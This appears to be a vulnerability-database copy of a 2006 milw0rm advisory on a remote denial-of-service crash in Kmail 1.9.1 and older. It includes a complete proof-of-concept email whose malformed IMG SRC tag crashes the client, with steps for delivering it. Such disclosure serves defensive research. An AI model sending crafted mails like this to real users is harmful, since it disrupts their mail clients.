Kmail <= 1.9.1 (IMG SRC) Remote Denial of Service Vulnerability

🗓️ 01 Jul 2014 00:00:00Reported by RootType

Kmail <= 1.9.1 (IMG SRC) Remote Denial of Service Vulnerability. Crash occurs when parsing incorrectly formatted IMG tag. Enable HTML parsing in settings to trigger


                                                nnp [at] silenthack.co.uk
http://silenthack.co.uk

Kmail &#60;= 1.9.1 (latest) suffers from a crash when trying to parse an
incorrectly formatted &#60;img&#62; tag. HTML parsing must be enabled for
this. This can be done by going to  Settings -&#62; Configure Kmail
-&#62;Security -&#62; and tick Prefer HTML to Plain Text.

Copy the following into your local /var/spool/mail/`whoami` or send a
mail containing the HTML part to cause a crash.

#-#-#-#-#-#-#-#-#-#-#-#-#-#-#

return-Path: &#60;nnp@torvalds&#62;
X-Original-To: nnp
Delivered-To: nnp@torvalds
Received: by torvalds (Postfix, from userid 1000)
       id 2341B7CC25; Sun, 27 Aug 2006 01:03:35 +0100 (IST)
To: nnp@torvalds
Message-Id: &#60;20060827000335.2341B7CC25@torvalds&#62;
Date: Sun, 27 Aug 2006 01:03:35 +0100 (IST)
Content-Type: text/html
From: nnp@torvalds (nnp)
Status: RO
X-Status: UC
X-KMail-EncryptionState:
X-KMail-SignatureState:
X-KMail-MDN-Sent:


&#60;html&#62;
&#60;IMG SRC=file:&#34;&#34; /&#62;
&#60;/html&#62;

#-#-#-#-#-#-#-#-#-#-#-#-#-#-#

# milw0rm.com [2006-10-11]

01 Jul 2014 00:00Current

7.1High risk

Vulners AI Score7.1